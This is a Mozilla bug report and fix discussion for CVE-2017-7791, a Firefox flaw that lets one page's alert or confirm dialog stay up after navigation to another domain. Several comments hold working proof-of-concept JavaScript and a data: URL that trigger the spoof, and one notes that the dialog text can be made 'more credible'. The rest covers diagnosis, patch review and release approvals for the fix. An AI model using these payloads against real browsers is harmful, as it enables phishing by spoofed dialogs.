1365875 - (CVE-2017-7791) Firefox allows you to insert confirm/alert/prompt dialog in any domain

Status: RESOLVED FIXED

(Toolkit Graveyard :: Notifications and Alerts, defect)

Description

[Jose María Acuña]

Attachment: permission-prompt.webm

User Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36

Steps to reproduce:

1- Go to http://createcharts.esy.es/permission-prompt.html
2- Click button

Tested in:

Firefox Nightly 55.0a1 (2017-05-17) (64-bit)
Firefox Developer Edition 54.0a2 (2017-04-18) (32-bits)
Firefox 53.0.2 (32-bit)




Actual results:

Permission Prompt not correctly dismissed on top window navigation

Comment 1

[Jose María Acuña]

I have done some checks:

- I can not access the contents of the Google domain. Error: NS_ERROR_XPC_SECURITY_MANAGER_VETO
- I can redirect to another page when I confirm the alert message.
- I can download a file: although the download dialog indicates the source domain, the download is done from Google, which is very disconcerting.

Go to http://localhost/permission-prompt-download.html

Comment 2

[Jose María Acuña]

Video: https://drive.google.com/file/d/0B5G3cbs08P16SEJGcmxJQW5JTlk/view

Comment 3

[Jose María Acuña]

Sorry,
the last example: http://createcharts.esy.es/permission-prompt-download.html

Comment 4

[Daniel Veditz [:dveditz]]

Olli: any thoughts on whether this is more likely to be in DOM-land (not killing the prompt/script from the page we've navigated away from) or front-end (same)?

Comment 5

[Olli Pettay [:smaug][[e-mail]]]

This looks like a front-end issue.
Normally it can kill alerts when navigating to a new page, but is it missing some condition here?

Comment 6

[Jose María Acuña]

Simplified html code:

<script>
function loadIframe() {
	win = open('','_top');
	win.document.open();
	win.document.write('data:text/html,<s'+'cript>location="https://www.google.com";</s'+'cript>');
	win.document.close();
}
function go() {
	var iframe = '<iframe onload="loadIframe();"></iframe>';
	document.body.innerHTML = iframe;
	alert(1);
}
</script>
<input type="button" onclick="go()" value="test"/>


I think the undesired effect is caused by the execution of the open method with data: type and the onload event of a dynamically created iframe.

Comment 7

[Jose María Acuña]

Enter the following url in the address bar:

data:text/html,<script>function loadIframe() {win = open('','_top');win.document.open();win.document.write('data:text/html,<s'+'cript>location="https://www.google.com";</s'+'cript>');win.document.close();}function go() {var iframe = '<iframe onload="loadIframe();"></iframe>';document.body.innerHTML = iframe;alert(1);}</script><input type="button" onclick="go()" value="test"/>

Comment 8

[Jose María Acuña]

You can also customize the alert message to make it more credible.
Access the page http://createcharts.esy.es/permission-prompt-download.html (it is necessary to clear browser's cache)

Comment 9

[:Gijs (he/him)]

(In reply to Olli Pettay [:smaug] from comment #5)
> This looks like a front-end issue.
> Normally it can kill alerts when navigating to a new page, but is it missing
> some condition here?

We listen for pagehide, and the alert is fired after pagehide has already happened (I expect - the pagehide listener we add when creating the alert doesn't fire). I tested listening for unload, too, but that didn't seem to help (though it's possible I made a mistake, of course...). Is there a synchronous way to check when the prompt code is invoked (either in DOM code or in the popup code) whether (the toplevel of) the invoking document has already fired unload/pagehide ?

Comment 10

[Olli Pettay [:smaug][[e-mail]]]

document.hidden?

Comment 11

[Olli Pettay [:smaug][[e-mail]]]

document.visibilityState?

Comment 12

[:Gijs (he/him)]

(In reply to Olli Pettay [:smaug] from comment #10)
> document.hidden?

false

(In reply to Olli Pettay [:smaug] from comment #11)
> document.visibilityState?

visible

docshell.isInUnload is also false, but the document URI is still the old URI (not google).

Any other ideas? I'm not sure where to look. I tried:

    domWin.addEventListener("pagehide", pagehide, true);
    domWin.addEventListener("unload", pagehide, true);
    domWin.addEventListener("unload", pagehide);


and none of these fire.

Code is here: http://searchfox.org/mozilla-central/rev/6c2dbacbba1d58b8679cee700fd0a54189e0cf1b/toolkit/components/prompts/src/nsPrompter.js#397 and here: http://searchfox.org/mozilla-central/rev/6c2dbacbba1d58b8679cee700fd0a54189e0cf1b/toolkit/components/prompts/src/nsPrompter.js#476 (one is e10s, one non-e10s, but the concept is the same).

Comment 13

[Jose María Acuña]

If it helps:

<script>
function loadIframe() {
	win = open('','_top');
	win.document.open();
	win.document.write('<h3>test</h3><s'+'cript>alert(2);</s'+'cript>');	
	win.document.close();
}
function go() {
	var iframe = '<iframe onload="loadIframe();"></iframe>';
	document.body.innerHTML = iframe;
	alert(1);
}
</script>
<input type="button" onclick="go()" value="test"/>

Javascript execution order (windows):

*) Internet Explorer 11, Opera 45.0.2552.812, Chrome 58.0.3029.110 (64-bit)

1- alert(2)
2- alert(1)

*) Firefox (Nightly, Developer Edition)

1- alert(1)
2- alert(2)

Comment 14

[Jose María Acuña]

If we force the execution in second instance, we see that the behavior is correct:

win.document.write('<h3>test</h3><s'+'cript>setTimeout(function(){location=\'https://www.google.com\';},0);</s'+'cript>');

Comment 15

[Jose María Acuña]

In the same way with the onfocus event:

win.document.write('<s'+'cript>onfocus=function(){location=\'https://www.google.com\';}</s'+'cript>');

Comment 16

[Jose María Acuña]

Some type of advance?

Comment 17

[Olli Pettay [:smaug][[e-mail]]]

Gijs, so when alert is shown, what is the top level document? We need to hide alert whenever any ancestor document is unloaded.

Comment 18

[:Gijs (he/him)]

(In reply to Olli Pettay [:smaug] from comment #17)
> Gijs, so when alert is shown, what is the top level document? We need to
> hide alert whenever any ancestor document is unloaded.

The old document still, I already noted this in comment #12.

Comment 19

[Olli Pettay [:smaug][[e-mail]]]

You didn't say which document, top level or iframe.

Gijs, where are you adding the event listener? Remember that document.write after page load creates a new inner window so event listeners on that one are gone.
Add listener to TabChildGlobal?

Comment 20

[:Gijs (he/him)]

(In reply to Olli Pettay [:smaug] from comment #19)
> You didn't say which document, top level or iframe.

Toplevel... I assumed it was obvious - there are no google frames at issue.

> Gijs, where are you adding the event listener? Remember that document.write
> after page load creates a new inner window so event listeners on that one
> are gone.
> Add listener to TabChildGlobal?

How do I do that from the code linked in comment #12 (ie given a dom window reference, how do I find the tabchildglobal) ? And what do you mean by TabChildGlobal when not using e10s?

Comment 21

[Olli Pettay [:smaug][[e-mail]]]

TabChildGlobal is there always, even without e10s. That is the global used for frame scripts.
You can get nsIContentFrameMessageManager interface from docshell and QI that to EventTarget I think.

Comment 22

[:Gijs (he/him)]

Attachment: Patch v0.1

MozReview-Commit-ID: 9CaAliVQwYe

Comment 23

[:Gijs (he/him)]

Comment on attachment 8874952 [details] [diff] [review]
Patch v0.1

This seems to fix the issue for me. Olli, if you don't feel comfortable reviewing this, please redirect to :dolske .

Comment 24

[Olli Pettay [:smaug][[e-mail]]]

Comment on attachment 8874952 [details] [diff] [review]
Patch v0.1

>-    domWin.addEventListener("pagehide", pagehide);
>+    let frameMM = docShell.getInterface(Ci.nsIContentFrameMessageManager);
>+    frameMM.QueryInterface(Ci.nsIDOMEventTarget);
Just to ease reading, I'd put this before function onPromptClose(forceCleanup).

>+    frameMM.addEventListener("pagehide", pagehide);
>     function pagehide() {
>-        domWin.removeEventListener("pagehide", pagehide);
>+        frameMM.removeEventListener("pagehide", pagehide);
So you should now somewhere here check that pagehide is coming from the window you're interested in, or any of its ancestors I guess.
Otherwise if some iframe underneath is unloaded, the prompt is hidden
Similar also elsewhere.

Comment 25

[:Gijs (he/him)]

(In reply to Olli Pettay [:smaug] from comment #24)
> Comment on attachment 8874952 [details] [diff] [review]
> Patch v0.1
> 
> >-    domWin.addEventListener("pagehide", pagehide);
> >+    let frameMM = docShell.getInterface(Ci.nsIContentFrameMessageManager);
> >+    frameMM.QueryInterface(Ci.nsIDOMEventTarget);
> Just to ease reading, I'd put this before function
> onPromptClose(forceCleanup).
> 
> >+    frameMM.addEventListener("pagehide", pagehide);
> >     function pagehide() {
> >-        domWin.removeEventListener("pagehide", pagehide);
> >+        frameMM.removeEventListener("pagehide", pagehide);
> So you should now somewhere here check that pagehide is coming from the
> window you're interested in, or any of its ancestors I guess.
> Otherwise if some iframe underneath is unloaded, the prompt is hidden
> Similar also elsewhere.

pagehide doesn't bubble, right? Is this somehow different for the frame message manager? Where is this documented?

Comment 26

[:Gijs (he/him)]

Attachment: Patch v0.2

Tested locally, and apparently pagehide does bubble for frame message manager event listeners. Updated as per review comments.

Comment 27

[Olli Pettay [:smaug][[e-mail]]]

(In reply to :Gijs from comment #25)

> 
> pagehide doesn't bubble, right? Is this somehow different for the frame
> message manager? Where is this documented?
pagehide does bubble, otherwise you'd need to use capturing listener. But events don't propagate cross-web-pages, but they do propagate to browser chrome (and TabChildGlobal is part of chrome)

Comment 28

[Olli Pettay [:smaug][[e-mail]]]

Comment on attachment 8875213 [details] [diff] [review]
Patch v0.2

You want to use capturing event listeners, otherwise web page can just call .stopPropagation(); other option is to use system group event listeners.
Change both addEventListener and removeEventListener calls

With that, r+

Comment 29

[:Gijs (he/him)]

Attachment: Patch v0.3

Comment 30

[:Gijs (he/him)]

Comment on attachment 8875279 [details] [diff] [review]
Patch v0.3

[Security approval request comment]
How easily could an exploit be constructed based on the patch?
The patch makes it clear there's a problem with in-content prompts not going away in some edgecases. It's hard for me to estimate how easy it would be to figure out from the patch *how* to exploit the alert not going away.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?
No.

Which older supported branches are affected by this flaw?
Everything (esr, 53, 54, nightly 55)

If not all supported branches, which bug introduced the flaw?
n/a

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?
I believe they will be trivial, and the patch is straightforward and therefore not particularly risky.

How likely is this patch to cause regressions; how much testing does it need?
I don't see this as particularly likely to cause regressions, though obviously it will need some kind of testing.

Comment 31

[Julien Cristau [:jcristau]]

It feels too late for 54, as we have no time left to get this tested in beta even if we spin a rc2 this week, but flagging for Gerry FYI.

Comment 32

[Julien Cristau [:jcristau]]

(In reply to Julien Cristau [:jcristau] from comment #31)
> It feels too late for 54, as we have no time left to get this tested in beta
> even if we spin a rc2 this week, but flagging for Gerry FYI.

Bah, mid-aired with Gijs and then forgot to flag ni? on the second try.

Comment 33

[Al Billings [:abillings - ex-MoCo]]

Sec-approval+ for checkin on June 26, two weeks into the new cycle, on trunk. We should have patches for affected branches made and nominated then (Beta and ESR52).

Comment 34

[:Gijs (he/him)]

Comment on attachment 8875279 [details] [diff] [review]
Patch v0.3

remote:   https://hg.mozilla.org/integration/mozilla-inbound/rev/0069f96e7711e0c66d0dc46e79d2635d875724c5

The existing patch grafts onto beta and esr52 without issue for me.


[Approval Request Comment]
If this is not a sec:{high,crit} bug, please state case for ESR consideration:
sec-high

User impact if declined:
pages can run prompts on other pages

Fix Landed on Version: 56
Risk to taking this patch (and alternatives if risky): low-ish, relatively simple change, JS-only code, some high level primitive testing for modal dialogs is in place, we still have a considerable amount of time to weed out issues on beta if we uplift now.
String or UUID changes made by this patch: none.

See https://wiki.mozilla.org/Release_Management/ESR_Landing_Process for more info.

Approval Request Comment
[Feature/Bug causing the regression]: n/a
[User impact if declined]: sec-high security issue
[Is this code covered by automated tests?]: yes, there are some tests, but not for this specific issue.
[Has the fix been verified in Nightly?]: not yet.
[Needs manual test from QE? If yes, steps to reproduce]: yes, see comment #0. The alert/prompt in the tab should go away when another page loads.
[List of other uplifts needed for the feature/fix]: n/a
[Is the change risky?]: not too risky
[Why is the change risky/not risky?]: it's a relatively small, JS-only change, we have some automated testing coverage, and this beta is but young!
[String changes made/needed]: nope

Comment 35

[Carsten Book [:Tomcat]]

https://hg.mozilla.org/mozilla-central/rev/0069f96e7711

Comment 36

[Julien Cristau [:jcristau]]

Comment on attachment 8875279 [details] [diff] [review]
Patch v0.3

sec-high fix, let's land for 55.0b6

Comment 37

[Ryan VanderMeulen [:RyanVM]]

https://hg.mozilla.org/releases/mozilla-beta/rev/7ca275e013ff

Comment 38

[Carsten Book [:Tomcat]]

https://hg.mozilla.org/releases/mozilla-esr52/rev/f21e4d78a0a869af0cd10ad787d2a15a97cebc93

Comment 39

[Daniel Veditz [:dveditz]]

Since this is only modal popups immediately after arriving on a site this is a more moderate spoofing attempt and less like a sec-high same-origin-policy violation.